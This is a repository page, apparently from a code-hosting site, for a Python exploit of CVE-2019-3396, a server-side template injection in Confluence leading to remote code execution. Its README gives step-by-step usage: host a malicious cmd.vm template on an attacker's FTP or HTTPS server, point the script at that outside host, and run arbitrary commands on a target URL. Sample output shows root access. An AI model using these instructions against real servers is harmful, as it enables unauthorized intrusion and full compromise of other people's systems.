# CVE-2019-3396_EXP **Repository Path**: p4sschen/CVE-2019-3396_EXP ## Basic Information - **Project Name**: CVE-2019-3396_EXP - **Description**: CVE-2019-3396 confluence SSTI RCE - **Primary Language**: Python - **License**: Not specified - **Default Branch**: master - **Homepage**: None - **GVP Project**: No ## Statistics - **Stars**: 0 - **Forks**: 0 - **Created**: 2020-07-27 - **Last Updated**: 2020-12-19 ## Categories & Tags **Categories**: Uncategorized **Tags**: None ## README # CVE-2019-3396_EXP CVE-2019-3396 confluence SSTI RCE 1、put the cmd.vm on your website (must use ftp or https ,http doesn't work ) 2、modify RCE_exp.py ,change the filename = 'ftp://1.1.1.1/cmd.vm' (python -m pyftpdlib -p 21) 3、python REC_exp.py http://test.wiki_test.cc:8080 "whoami" $ python REC_exp.py http://test.wiki_test.cc:8080 "id" uid=0(root) gid=0(root) groups=0(root)